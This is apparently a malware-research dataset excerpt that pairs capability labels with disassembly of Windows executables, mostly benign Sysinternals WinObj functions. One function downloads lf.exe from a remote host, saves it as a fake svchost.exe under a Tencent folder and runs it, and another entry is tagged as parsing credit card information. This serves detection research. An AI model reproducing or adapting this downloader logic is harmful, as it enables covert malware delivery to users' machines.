joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14002d3a0
Capabilities:
Get file version info

Disassembly:
push r14
push r15
sub rsp, 0x288
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov r15, r8
mov r14, rdx
call fcn.140007150
mov rcx, rax
test rax, rax
je 0x14002d5ab
mov rax, qword [rax]
mov qword [rsp + 0x2a0], rbx
mov qword [rsp + 0x280], rbp
mov qword [rsp + 0x278], rsi
mov qword [rsp + 0x270], rdi
call qword [rax + 0x18]
mov r8d, 0x104
lea rdx, [rsp + 0x50]
add rax, 0x18
xor ecx, ecx
mov qword [r14], rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call sub.VERSION.dll_GetFileVersionInfoSizeW
mov ecx, eax
mov edi, eax
call fcn.1400574e8
xor ebp, ebp
mov rsi, rax
test rax, rax
je 0x14002d445
mov r8d, edi
xor edx, edx
mov rcx, rax
call fcn.140085ae0
jmp 0x14002d448
mov rsi, rbp
mov r9, rsi
lea rcx, [rsp + 0x50]
mov r8d, edi
xor edx, edx
call sub.VERSION.dll_GetFileVersionInfoW
test eax, eax
je 0x14002d554
lea r9, [rsp + 0x20]
mov rcx, rsi
lea r8, [rsp + 0x38]
lea rdx, str.VarFileInfoTranslation
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x14002d554
call fcn.140007150
mov rcx, rax
test rax, rax
je 0x14002d5a0
mov rax, qword [rax]
call qword [rax + 0x18]
mov r8, r15
lea rdx, str.StringFileInfo_04x_04x_
add rax, 0x18
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
movzx ebx, word [rax + 2]
movzx edi, word [rax]
call fcn.14002d000
mov r9d, ebx
lea rcx, [rsp + 0x28]
mov r8d, edi
mov rdx, qword [rax]
call fcn.140006f70
mov rdx, qword [rsp + 0x40]
mov rdi, 0xffffffffffffffff
add rdx, 0xffffffffffffffe8
mov eax, edi
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14002d4fb
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rbx, qword [rsp + 0x28]
lea r9, [rsp + 0x20]
mov rdx, rbx
lea r8, [rsp + 0x48]
mov rcx, rsi
call sub.VERSION.dll_VerQueryValueW
test eax, eax
je 0x14002d53c
mov rdx, qword [rsp + 0x48]
test rdx, rdx
je 0x14002d531
mov rax, rdi
inc rax
cmp word [rdx + rax*2], bp
jne 0x14002d526
mov ebp, eax
mov r8d, ebp
mov rcx, r14
call fcn.1400082e0
lea rdx, [rbx - 0x18]
lock xadd dword [rdx + 0x10], edi
sub edi, 1
jg 0x14002d554
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [r8 + 8]
test rsi, rsi
je 0x14002d561
mov rcx, rsi
call fcn.1400574f0
mov rsi, qword [rsp + 0x278]
mov rax, r14
mov rbp, qword [rsp + 0x280]
mov rbx, qword [rsp + 0x2a0]
mov rdi, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140056c90
add rsp, 0x288
pop r15
pop r14
ret
mov ecx, 0x80004005
call fcn.140006d80
int3
mov ecx, 0x80004005
call fcn.140006d80
int3

Function at 0x14002d5c0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x38
mov dword [rsp + 0x28], 0xa
lea r8, str.https:__www.sysinternals.com
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
add rsp, 0x38
ret
Function at 0x1400310b0
Capabilities:
Create directory
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rsp + 0x240], rax
xor r9d, r9d
lea rax, [rsp + 0x30]
mov rsi, rdx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, 0x104
lea rax, [rsp + 0x30]
mov ecx, ebx
cmp word [rax], 0
je 0x140031114
add rax, 2
sub rcx, 1
jne 0x140031104
xor ebp, ebp
mov rax, rbx
sub rax, rcx
mov edi, 0x7ffffffe
test rcx, rcx
cmove rax, rbp
je 0x140031176
mov rdx, rbx
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
sub rdx, rax
je 0x140031168
lea r9, str.Sysinternals
mov eax, edi
sub r9, rcx
test rax, rax
je 0x140031168
movzx r8d, word [r9 + rcx]
test r8w, r8w
je 0x140031168
mov word [rcx], r8w
dec rax
add rcx, 2
sub rdx, 1
jne 0x140031147
test rdx, rdx
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], bp
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov rcx, rbx
lea rax, [rsp + 0x30]
nop dword [rax + rax]
cmp word [rax], bp
je 0x14003119f
add rax, 2
sub rcx, 1
jne 0x140031190
mov rax, rbx
sub rax, rcx
test rcx, rcx
cmove rax, rbp
je 0x1400311f2
lea rcx, [rsp + 0x30]
lea rcx, [rcx + rax*2]
sub rbx, rax
je 0x1400311e4
lea rdx, str.WinObj.ini
sub rdx, rcx
test rdi, rdi
je 0x1400311e4
movzx eax, word [rdx + rcx]
test ax, ax
je 0x1400311e4
mov word [rcx], ax
dec rdi
add rcx, 2
sub rbx, 1
jne 0x1400311c6
test rbx, rbx
lea rax, [rcx - 2]
cmovne rax, rcx
mov word [rax], bp
call fcn.140007150
mov rcx, rax
test rax, rax
je 0x140031261
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov rcx, rsi
mov qword [rsi], rax
lea rax, [rsp + 0x30]
cmp rax, 0x10000
jae 0x14003122b
lea rax, [rsp + 0x30]
movzx edx, ax
call fcn.1400072a0
jmp 0x140031235
lea rdx, [rsp + 0x30]
call fcn.140033cc0
mov rax, rsi
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140056c90
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov ecx, 0x80004005
call fcn.140006d80
int3
Function at 0x14003b0d0
Capabilities:
Compare security identifiers

Disassembly:
push rbp
push rbx
push rdi
push r12
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xb0
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rbp + 0x17], rax
xor edi, edi
lea rax, [rbp + 7]
mov qword [rsp + 0x30], rdi
mov rbx, rdx
mov r12, rcx
mov dword [rsp + 0x28], edi
xor edx, edx
mov qword [rsp + 0x20], rax
mov ecx, 0x1100
mov r9d, 0x400
mov r15d, r8d
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
call fcn.140007150
mov rcx, rax
test rax, rax
je 0x14003b2ff
mov rax, qword [rax]
call qword [rax + 0x18]
mov r9, qword [rbp + 7]
lea rdx, str._s:__s
add rax, 0x18
lea rcx, [rbp - 1]
mov r8, rbx
mov qword [rbp - 1], rax
call fcn.140006f70
mov rbx, qword [rbp - 1]
cmp r15d, 5
je 0x14003b16f
cmp r15d, 0x2e4
jne 0x14003b29c
mov qword [rsp + 0xa8], rsi
mov qword [rsp + 0xa0], r14
xor r14b, r14b
mov dword [rbp + 0xf], edi
mov word [rbp + 0x13], 0x500
mov qword [rbp - 0x11], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 9]
mov edx, 8
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea rax, [rbp - 0x11]
mov r9d, 0x220
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0xf]
mov dword [rsp + 0x48], edi
mov r8d, 0x20
mov dword [rsp + 0x40], edi
mov dl, 2
mov dword [rsp + 0x38], edi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov rcx, qword [rbp - 9]
lea rax, [rbp - 0x19]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea edx, [r9 + 2]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rbp - 0x19]
call fcn.1400953a4
mov r9d, dword [rbp - 0x19]
mov rsi, rax
mov rcx, qword [rbp - 9]
lea rax, [rbp - 0x19]
mov r8, rsi
mov qword [rsp + 0x20], rax
mov edx, 2
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x14003b26b
cmp edi, dword [rsi]
jae 0x14003b267
nop
mov rcx, qword [rbp - 0x11]
mov r14d, edi
add r14, r14
mov rdx, qword [rsi + r14*8 + 8]
call qword [sym.imp.ADVAPI32.dll_EqualSid]
test eax, eax
je 0x14003b25f
mov eax, dword [rsi + r14*8 + 0x10]
test eax, 0xffffffef
setne cl
test al, 4
setne al
test al, cl
jne 0x14003b265
inc edi
cmp edi, dword [rsi]
jb 0x14003b230
cmp edi, dword [rsi]
setne r14b
mov rcx, rsi
call fcn.140095390
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov rcx, qword [rbp - 9]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xa8]
test r14b, r14b
mov r14, qword [rsp + 0xa0]
je 0x14003b2a9
lea rdx, str.This_object_type_cannot_be_opened
cmp r15d, 6
je 0x14003b2ac
mov rdx, rbx
mov r9d, 0x10
mov rcx, r12
lea r8d, [r9 + 0x71]
call fcn.14003af50
mov rcx, qword [rbp + 7]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, [rbx - 0x18]
mov eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x14003b2e4
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.140056c90
add rsp, 0xb0
pop r15
pop r12
pop rdi
pop rbx
pop rbp
ret
mov ecx, 0x80004005
call fcn.140006d80
int3
Function at 0x14003b510
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x258
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xor r9d, r9d
mov dword [rsp + 0x28], 0xa
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], 0
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp rax, 0x1f
setg al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140056c90
add rsp, 0x258
ret

Function at 0x14003ea20
Capabilities:
Accept command line arguments
Create process on windows

Disassembly:
sub rsp, 0x258
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov r8d, 0x104
lea rdx, [rsp + 0x30]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov dword [rsp + 0x28], 5
lea r8, [rsp + 0x30]
mov r9, rax
mov qword [rsp + 0x20], 0
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140056c90
add rsp, 0x258
ret
Function at 0x1400475c0
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rdi, qword [rcx + 0x10]
mov rsi, rdx
mov rbx, rcx
test rdi, rdi
je 0x140047675
cmp qword [rdi], 0
mov rbx, qword [rcx]
je 0x140047641
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je case.default.0x140047659
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je case.default.0x140047659
mov rdx, qword [rdi]
xor r9d, r9d
mov qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rsi
call rax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp dword [rdi + 8], 0
je case.default.0x140047659
mov rcx, rbx
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
cmp byte [0x1401271a8], 0
jne 0x1400476c0
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400476b0
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x1401271a0], rax
mov byte [0x1401271a8], 1
jmp 0x1400476c7
mov rax, qword [0x1401271a0]
mov byte [0x1401271a8], 1
jmp 0x1400476c7
mov rax, qword [0x1401271a0]
mov rcx, qword [rbx]
mov rdx, rsi
test rax, rax
je 0x14004764a
mov r8d, dword [rbx + 8]
xor r9d, r9d
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
jmp rax
int1
and eax, 0x65e08d85
and r14b, r9b
and eax, 0x4604dd85
and r14b, r9b
and eax, 0xa233fd85
and r14b, r9b
and eax, 0x8e881d85
and r14b, r9b
and eax, 0xeae92d85
and r14b, r9b
and eax, 0xd751bd85
and r14b, r9b
and eax, 0x33e36d85
and r14b, cl
and eax, 0x1c9cad85
and r14b, cl
and eax, 0x79439d85
jns 0x1402061f7
and dh, cl
and eax, 0x5a101d85
and r14b, cl
and eax, 0x87084d85
and r14b, cl
and eax, 0xe00a6d85
and r14b, cl
and eax, 0xcd16ad85
and r14b, cl
and eax, 0x2e4ced85
and r14b, r9b
and eax, 0xb8f9d85
and r14b, r9b
and eax, 0x74d87d85
and r14b, r9b
and eax, 0x564fbd85
push r14
and r14b, r9b
and eax, 0xb3cf6d85
insd dword [rdi], dx
iretd
mov bl, 0x4f
and dh, cl
and eax, 0x9d59ed85
test ebp, ebp
pop rcx
popfq
Function at 0x14004a180
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov r11, rsp
push rbx
push rsi
push r14
sub rsp, 0x60
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rsp + 0x50], rax
movsxd r8, dword [rcx + 0x64]
mov rbx, rdx
mov rsi, rcx
cmp r8d, 0xffffffff
jne 0x14004a318
cmp dword [rcx + 0x28], r8d
je 0x14004a335
lea rax, [rcx + 0x74]
mov qword [r11 + 0x10], rbp
test rsi, rsi
mov qword [r11 + 0x18], rdi
mov ecx, 0xbc
lea r14d, [r8 + 0x49]
cmove rax, rcx
xor edi, edi
mov rcx, rsi
cmp byte [rax], dil
je 0x14004a1ef
test rsi, rsi
cmove rcx, r14
call fcn.14004a350
jmp 0x14004a2d9
test rsi, rsi
cmove rcx, r14
cmp dword [rcx + 0x64], 0xffffffff
jne 0x14004a2d9
mov edx, dword [rcx + 0x28]
cmp edx, 0xffffffff
je 0x14004a2d9
mov r8d, dword [rcx + 0x18]
mov r9d, dword [rcx + 0x1c]
cmp byte [rcx], dil
je 0x14004a23a
lea eax, [rdx + r8]
mov dword [rsp + 0x44], r9d
mov dword [rsp + 0x40], eax
mov eax, dword [rcx + 0x4c]
add eax, dword [rcx + 0x3c]
add eax, edx
add eax, r8d
mov dword [rsp + 0x48], eax
mov eax, dword [rcx + 0x24]
jmp 0x14004a259
lea eax, [rdx + r9]
mov dword [rsp + 0x40], r8d
mov dword [rsp + 0x44], eax
mov eax, dword [rcx + 0x20]
mov dword [rsp + 0x48], eax
mov eax, dword [rcx + 0x4c]
add eax, dword [rcx + 0x3c]
add eax, edx
add eax, r9d
mov dword [rsp + 0x4c], eax
test rsi, rsi
lea rax, [rsi + 0x70]
mov ecx, 0xb8
cmove rax, rcx
mov edx, dword [rax]
cmp edx, 0xffffffff
jne 0x14004a292
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetSysColorBrush]
lea rdx, [rsp + 0x40]
mov rcx, rbx
mov r8, rax
call qword [sym.imp.USER32.dll_FillRect]
jmp 0x14004a2d9
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SetBkColor]
mov ebp, eax
cmp eax, 0xffffffff
je 0x14004a2d9
mov qword [rsp + 0x38], rdi
lea rax, [rsp + 0x40]
mov dword [rsp + 0x30], edi
mov r9d, 2
mov qword [rsp + 0x28], rdi
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rax
mov rcx, rbx
call qword [sym.imp.GDI32.dll_ExtTextOutW]
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.GDI32.dll_SetBkColor]
test rsi, rsi
mov rbp, rsi
cmove rbp, r14
add rsi, 8
cmp qword [rsi], 0
jne 0x14004a2fb
mov r8d, edi
mov rdx, rbx
mov rcx, rbp
call fcn.14004a5f0
inc edi
add rsi, 8
cmp edi, 2
jl 0x14004a2e7
mov rdi, qword [rsp + 0x90]
mov rbp, qword [rsp + 0x88]
jmp 0x14004a335
cmp qword [rcx + r8*8 + 8], 0
jne 0x14004a335
test rsi, rsi
mov r14d, 0x48
cmove rsi, r14
mov rcx, rsi
call fcn.14004a5f0
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.140056c90
add rsp, 0x60
pop r14
pop rsi
pop rbx
ret
Function at 0x1400530b0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x460
mov rax, qword [0x140121c38]
xor rax, rsp
mov qword [rsp + 0x450], rax
xor r14d, r14d
mov qword [rsp + 0x38], rcx
mov rbx, rdx
mov qword [rsp + 0x30], r14
mov rsi, r8
mov qword [rsp + 0x40], r14
xor edx, edx
mov rcx, rbx
lea r8d, [r14 + 0x60]
mov rbp, r9
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
jne 0x140053125
xor edx, edx
lea r8d, [r14 + 2]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
jne 0x140053125
call fcn.1400472c0
mov ebx, eax
jmp 0x14005322a
mov r8, rbp
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140053146
call fcn.1400472c0
jmp 0x14005321a
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rsi, rax
test rax, rax
jne 0x140053164
call fcn.1400472c0
jmp 0x14005321a
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
inc eax
cmp eax, ebx
jae 0x140053182
mov ebx, 0x8007000e
jmp 0x14005321c
mov ecx, eax
test eax, eax
je 0x1400531c3
xor edx, edx
mov rax, 0xffffffffffffffff
div rcx
cmp rax, 2
jb 0x140053260
lea rdx, [rcx + rcx]
cmp rdx, 0x400
jbe 0x1400531c3
lea rcx, [rsp + 0x40]
call fcn.1400470e0
cmp qword [rsp + 0x40], r14
jne 0x1400531cd
mov ebx, 0x8007000e
jmp 0x14005321c
lea rax, [rsp + 0x48]
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
xor edx, edx
mov dword [rsp + 0x28], ebx
mov r9d, ebx
mov r8, rsi
mov qword [rsp + 0x20], rax
lea ecx, [rdx + 3]
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x1400531f7
call fcn.1400472c0
jmp 0x14005321a
mov r8d, dword [rsp + 0x4b0]
mov ecx, eax
mov rax, qword [rsp + 0x40]
mov word [rax + rcx*2], r14w
lea rcx, [rsp + 0x30]
mov rdx, qword [rsp + 0x40]
call fcn.140052bc0
mov ebx, eax
test rdi, rdi
je 0x14005322a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rax, [rsp + 0x48]
cmp qword [rsp + 0x40], rax
je 0x140053240
lea rcx, [rsp + 0x40]
call fcn.14004a960
mov eax, ebx
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140056c90
add rsp, 0x460
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
mov ecx, 0x80070216
call fcn.140006d80
int3
Function at 0x14007af28
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x14006556e
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140065551
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x14006553c

Function at 0x14007af3c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
lea r9, [rdx + rdx]
movabs r8, 0xcbf29ce484222325
xor edx, edx
test r9, r9
je 0x1400655a6
movzx eax, byte [rdx + rcx]
movabs r10, 0x100000001b3
xor r8, rax
inc rdx
imul r8, r10
cmp rdx, r9
jb 0x140065589
mov rax, r8
ret
sub r8, rdx
mov rcx, rdx
sar r8, 1
mov rdx, r8
jmp 0x140065574

Function at 0x140095854
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140095643
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140095643
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140095643
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140095643
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140095643
cmp dword [rcx + 0x84], 0xe
jbe 0x140095643
cmp dword [rcx + 0xf8], 0
je 0x140095643
mov ecx, ebx
call fcn.140095774
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.1400953b4
cmp dword [rbp + 0x20], 0
je 0x140095690
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140095698
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400955dc
Function at 0x140002950
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push rbp
push rdi
sub rsp, 0x658
lea rdx, str.C:Program_Files__x86_Tencent_svchost.exe
lea rcx, [rsp + 0x40]
call fcn.140004270
xor ebp, ebp
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], ebp
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
je 0x140002ae9
mov qword [rsp + 0x28], rbp
lea rdx, str.http:__data.duanqiao.asia_lf.exe
xor r9d, r9d
mov dword [rsp + 0x20], 0x84000100
xor r8d, r8d
mov qword [rsp + 0x680], rbx
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x1400029db
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rbx, qword [rsp + 0x680]
add rsp, 0x658
pop rdi
pop rbp
ret
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
mov qword [rsp + 0x650], rsi
call qword [sym.imp.KERNEL32.DLL_CreateFileW]
mov rsi, rax
mov rcx, rbx
cmp rax, 0xffffffffffffffff
jne 0x140002a2e
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x140002ad9
lea r9, [rsp + 0x670]
mov r8d, 0x400
lea rdx, [rsp + 0x250]
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140002a9e
nop
mov r8d, dword [rsp + 0x670]
test r8d, r8d
je 0x140002a9e
lea r9, [rsp + 0x678]
mov qword [rsp + 0x20], rbp
lea rdx, [rsp + 0x250]
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_WriteFile]
lea r9, [rsp + 0x670]
mov r8d, 0x400
lea rdx, [rsp + 0x250]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140002a50
mov rcx, rsi
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rsp + 0x28], ebp
lea r8, [rsp + 0x40]
mov qword [rsp + 0x20], rbp
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rsi, qword [rsp + 0x650]
mov rbx, qword [rsp + 0x680]
add rsp, 0x658
pop rdi
pop rbp
ret
Function at 0x1400045d0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x40
mov rdi, rcx
movzx edx, dx
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_FindResourceW]
mov rdx, rax
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_LoadResource]
mov rcx, rax
mov rbp, rax
call qword [sym.imp.KERNEL32.DLL_LockResource]
mov rdx, rbx
xor ecx, ecx
mov r14, rax
call qword [sym.imp.KERNEL32.DLL_SizeofResource]
cmp qword [rdi + 0x18], 0xf
lea rsi, [rdi + 0x18]
mov r15d, eax
mov rcx, rdi
jbe 0x140004630
mov rcx, qword [rdi]
xor r12d, r12d
xor r9d, r9d
mov qword [rsp + 0x30], r12
mov edx, 0x40000000
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], 2
lea r8d, [r12 + 7]
call qword [sym.imp.KERNEL32.DLL_CreateFileA]
lea r9, [rsp + 0x78]
mov dword [rsp + 0x78], r12d
mov rcx, rax
mov qword [rsp + 0x20], r12
mov r8d, r15d
mov rdx, r14
mov rbx, rax
call qword [sym.imp.KERNEL32.DLL_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_FreeResource]
mov rdx, qword [rsi]
cmp rdx, 0xf
jbe 0x1400046c7
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x1400046c2
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1400046ef
mov rcx, r8
lea rsi, [rdi + 0x18]
call fcn.140004bc4
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x80]
mov qword [rdi + 0x10], r12
mov qword [rsi], 0xf
mov byte [rdi], r12b
add rsp, 0x40
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x14000543c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test rax, rax
je 0x140005486
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140005486
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140005486
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140005486
cmp dword [rcx + 0x84], 0xe
jbe 0x140005486
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140005488
xor al, al
add rsp, 0x28
ret
Function at 0x140001a70
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
call fcn.140001a8d

Function at 0x140003b90
Capabilities:
Enumerate process modules
Link many functions at runtime
Parse credit card information

Disassembly:
mov eax, 0x20d8
call fcn.140048560
sub rsp, rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0x80], rax
mov eax, 0x26ecb500
dec eax
pushfq
cmp ecx, edx
popfq
cmp eax, ecx
push r8
pop rax
call fcn.140003bc0

Function at 0x140006db0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
